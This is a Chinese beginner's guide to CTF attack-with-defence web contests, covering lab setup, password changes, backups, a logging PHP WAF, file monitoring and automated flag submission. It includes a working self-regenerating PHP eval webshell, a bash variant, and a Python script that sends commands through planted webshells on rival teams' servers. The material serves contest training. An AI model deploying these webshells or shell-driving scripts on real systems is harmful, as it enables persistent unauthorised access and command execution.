CTF线下赛AWD新手入门Web篇

0X00 前言

安洵杯线下一脸懵逼,西石油线下毫无悬念被打爆,于是有了整理实践线下文章资料的念头,同时也感谢 DOg3@Ph0rse 的分享。萌新文章,大佬们可以不用care了。

0x01 关于线下

  1. AWD模式:Attack With Defence,攻击中防御,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  2. 高地模式:每只队伍服务器可以访问,没有权限,需要自己去获取权限。同时存在高地服务器,不属于任何一支队伍,每只队伍竞争高地服务器权限。

  3. 域渗透:Windows AD 域环境,更贴近实战

更加详细可参见:https://ctf-wiki.github.io/ctf-wiki/introduction/mode/#-attack-defense

0X02 环境搭建

AWD 线下赛个人觉得主要靠平时的积累和脚本的编写,引用彭哥的话来说,没经验打不过别人导致得不到锻炼就造成了恶性循环,所以平时能自己搭建环境训练是很有必要的。

这里选用一套开源的框架,采用docker,内含多个环境及环境对应 write up,也可以自己搭建,框架有一点小毛病,但并不影响使用。

https://github.com/zhl2008/awd-platform

简要步骤(详细可查看手册):

1
2
3
4
5
6
7
8
9
10
11
12
13
## 下载github项目
git clone https://github.com/zhl2008/awd-platform.git
## 下载镜像,并改名
docker pull zhl2008/web_14.04
docker tag zhl2008/web_14.04 web_14.04
## 建立队伍floder
python batch.py web_dir team_number
## 启动比赛
python start.py ./ team_number
for example: python start.py ./ 5
## 启动check脚本
docker exec check_server
python check.py

这里开启了4个队伍,Web 服务对应 8801,8802,8803,8804 端口

0X03 Attack With Defence

1. 修改ssh密码

1
2
passwd username
# 输入密码确认即可

2. 修改数据库密码及备份数据库(以 mysql 为例)

修改 mysql 密码

1
2
3
4
5
6
7
8
9
10
11
12
1. 登录 mysql 终端,运行:
mysql> set password=password('new password');
mysql>flush privileges;
2. 修改 mysql user 表
mysql>use mysql;
mysql>update user set password=password('new password') where user='root';
mysql>flush privileges;
3. 使用 GRANT 语句
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION;
mysql>flush privileges;
4. mysqladmin
[root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)

备份指定的多个数据库

[root@ubuntu]# mysqldump -u root -p --databases databasesname > /tmp/db.sql

数据库恢复,在mysql终端下执行

1
2
# 命令格式:source FILE_PATH
source ~/db.sql(原数据库需存在)

比赛前一定要快速修改密码和备份,否则密码被别人更改需要重置环境就尴尬了,修改数据库密码后注意修改源码配置文件,避免服务崩溃。同时赛前也可以准备些例如 phpmyadmin 的批量爆破和改密的脚本。

3. 源码备份

1
2
3
4
# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz

之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码

4. 上 WAF

备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。

但一般通防 WAF 会影响主办方 check,使用需谨慎,同时注意上 WAF 崩溃的问题。

可以使用 bash 命令在每一个 php 文件前面加上 require_once 包含 WAF 文件

1
2
# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'

也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限

1
2
3
; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file = /tmp/waf.php

附上郁离歌的一枚 WAF,会在 /tmp/loooooooogs 目录下生成日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);
define('LOG_FILEDIR','/tmp/loooooooogs');
if(!is_dir(LOG_FILEDIR)){
mkdir(LOG_FILEDIR);
}
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}
waf();
?>

生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份,除了源文件一份备份,我一般上好 WAF ,打好补丁还会做备份。

5. 文件监控

网上有很多文件监控的脚本,也可以使用 bash 命令自行查找出例如10分钟内修改过的 php 文件,这里推荐一个师傅的文件监控工具,文件相关操作都清晰明了。

https://github.com/TheKingOfDuck/FileMonitor

线下环境一般不能访问外网,所以需要提前下载好脚本和相关依赖,这个工具需要 watchdog 依赖,也是要提前准备的。

使用 touch 命令修改文件时间戳可以一定程度防范对文件的检测。

6. 权限维持——不死马

不死马也称内存马,删除掉木马之后,由于操作存于内存当中,还是会不断地生成木马,达到权限维持的目的。

6.1. 不死马使用

常规不死马,先删除自身,不断生成 .index.php 文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>';
//pass=Sn3rtf4ck 马儿用法:fuckyou.php?pass=Sn3rtf4ck&a=command
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>

这里添加了一个密码 pass 防止别人借刀杀人,我们平时也可以编写自己的木马,别人就算拿到木马也不知道怎么利用,附上一句话木马的各种变形

http://www.secist.com/archives/1947.html

bash 命令不死马,效果也是不断生成 .index.php 文件,也可以使用命令不断创建 nc 后门

system('while true;do echo \'<?php if(md5($_GET[pass])==\"3a50065e1709acc47ba0c9238294364f\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');

6.2. 不死马的克制

  1. 杀掉不死马运行的进程,直接删除脚本没用,因为php执行的时候已经把脚本读进去解释成opcode运行了

ps aux 查看运行的进程

www-data 权限运行了 4 个 apache 进程,不死马随机运行于这 4 个进程,直接 kill pid (www-data 权限下)全部杀掉这几个进程就可以了

可以使用 kill -9 -1 杀死当前用户所有进程(有权限下慎用),也可以直接 killall apache2 杀掉 apache 所有子进程

  1. 重启 apache,php 等web服务(一般不会有权限)
1
2
service apache2 restart
service php restart
  1. 用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值

  2. 创建一个和不死马生成的马一样名字的文件夹,测试了下需要先删除再创建文件夹

7. 自动提交

比赛中提交 flag 一般会带上队伍 token 和 flag,格式如下:

flag.php?token=teamtoken&flag=this_is_flag

获取 flag 一般有两种方式:

  1. flag 在根目录,直接 cat 读取 flag
  2. 在对方机器请求指定地址(curl)获取 flag

flag 每几分钟更换一轮,手动提交显然是不太可能的,需要提前准备自动获取,提交 flag 的脚本,并根据实际情况进行修改

下面这个脚本每两分钟获取一次 flag 并自动提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding:utf-8
import requests
import re
import time
url = "http://ip:"
url1 = ""
shell = "/includes/config.php?d=system"
passwd = "c"
port = "80"
payload = {passwd: 'cat /flag'}
flag_server = "http://flag_server/flag_file.php?token=%s&flag=%s"
teamtoken = "team1"
def submit_flag(target, teamtoken, flag):
url = flag_server % (teamtoken, flag)
pos = {}
print "[+]Submitting flag:%s:%s" % (target, url)
response = requests.post(url, data=pos)
content = response.text
print "[+]content:%s" % content
if "success" in content:
print "[+]Success!!"
return True
else:
print "[-]Failed"
return False
def flag():
f=open("webshelllist.txt","w")
f1=open("firstround_flag.txt","w")
for i in [8802,8803,8804]:
url1=url+str(i)+shell
try:
print "------------------------------------"
res=requests.post(url1,payload,timeout=1)
if res.status_code == requests.codes.ok:
print url1 + " connect shell sucess,flag is "+res.text
# 记录shell和获取的flag
print >>f1,url1+" connect shell sucess,flag is "+res.text
print >>f,url1+","+passwd
# 正则捕获flag
if re.match(r'hello world(\w+)', res.text):
flag = re.match(r'hello world(\w+)', res.text).group(1)
submit_flag(url1, teamtoken, flag)
else:
print "[-]Can not get flag"
else:
print "shell 404"
except:
print url1 + "connect shell failed"
f.close()
f1.close()
def timer(n):
while True:
flag()
flag()
flag()
time.sleep(n)
timer(120)

附上 Rcoil 师傅线下攻防思维导图

0X04 参考链接

AWD线下赛脚本集合

CTF线下攻防赛总结-RcoIl